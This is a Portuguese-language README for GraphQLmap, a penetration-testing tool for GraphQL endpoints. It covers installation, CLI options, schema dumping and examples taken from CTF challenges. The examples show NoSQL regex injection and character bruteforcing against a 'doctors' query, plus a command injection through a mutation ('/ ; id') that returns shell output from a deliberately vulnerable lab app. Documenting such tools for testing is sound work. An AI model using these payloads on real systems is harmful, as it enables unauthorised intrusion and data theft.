GraphQLmap

GraphQLmap é um motor de script para interagir com um endpoint GraphQL para fins de teste de penetração.

• Install
• Funcionalidades e exemplos
  • Despejar um esquema GraphQL
  • Interagir com um endpoint GraphQL
  • Executar consultas GraphQL
  • Autocomplete de consultas
  • Fuzzing de campo GraphQL
    • Exemplo 1 - Bruteforce de um caractere
    • Exemplo 2 - Iterar sobre um número
  • Injeção NoSQL num campo GraphQL
  • Injeção SQL num campo GraphQL

I ❤️ pull requests, sinta-se à vontade para melhorar este script :)

Podes também contribuir com umas 🍻 IRL ou usando o botão de Sponsoring do Github.

Install

$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap                                                              
   _____                 _      ____  _                            
  / ____|               | |    / __ \| |                           
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \ 
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ 
                  | |                                       | |    
                  |_|                                       |_|    
                                         Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]

optional arguments:
  -h, --help           show this help message and exit
  -u URL               URL to query : example.com/graphql?query={}
  -v [VERBOSITY]       Enable verbosity
  --method [METHOD]    HTTP Method to use interact with /graphql endpoint
  --headers [HEADERS]  HTTP Headers sent to /graphql endpoint
  --json [USE_JSON]    Use JSON encoding, implies POST
  --proxy [PROXY]      HTTP proxy to log requests

Configuração de desenvolvimento

python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql

Funcionalidades e exemplos

⚠️ Os exemplos baseiam-se em vários desafios CTF do HIP2019.

Conectar a um endpoint GraphQL

# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080

Despejar um esquema GraphQL

Use dump_new para despejar o esquema GraphQL; esta função irá preencher automaticamente o "autocomplete" com os campos encontrados.
🎥 Exemplo ao vivo

GraphQLmap > dump_new                     
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)                   
                                                                                               
Query                                          
        doctor[]: email (String!),                                                             
        doctors[Doctor]:                                                                       
        patients[Patient]:                                                                     
        patient[]: id (ID!),                   
        allrendezvous[Rendezvous]:                                                             
        rendezvous[]: id (ID!),                                                                
Doctor                                         
        id[ID]:                                                                                
        firstName[String]:                     
        lastName[String]:                                                                      
        specialty[String]:                     
        patients[None]: 
        rendezvous[None]: 
        email[String]: 
        password[String]: 
[...]

Interagir com um endpoint GraphQL

Escreva uma consulta GraphQL e execute-a.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
    "data": {
        "doctors": [
            {
                "firstName": "Admin",
                "id": "5d089c51dcab2d0032fdd08d",
                "lastName": "Admin"
            }
        ]
    }
}

Também funciona com mutations, que devem ser escritas numa única linha.

# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
    "data": {
        "importPaste": {
            "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
        {
    {
{

Fuzzing de campo GraphQL

Use GRAPHQL_INCREMENT e GRAPHQL_CHARSET para fuzzear um parâmetro.
🎥 Exemplo ao vivo

Exemplo 1 - Bruteforce de um caractere

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

Exemplo 2 - Iterar sobre um número

Use GRAPHQL_INCREMENT_ seguido de um número.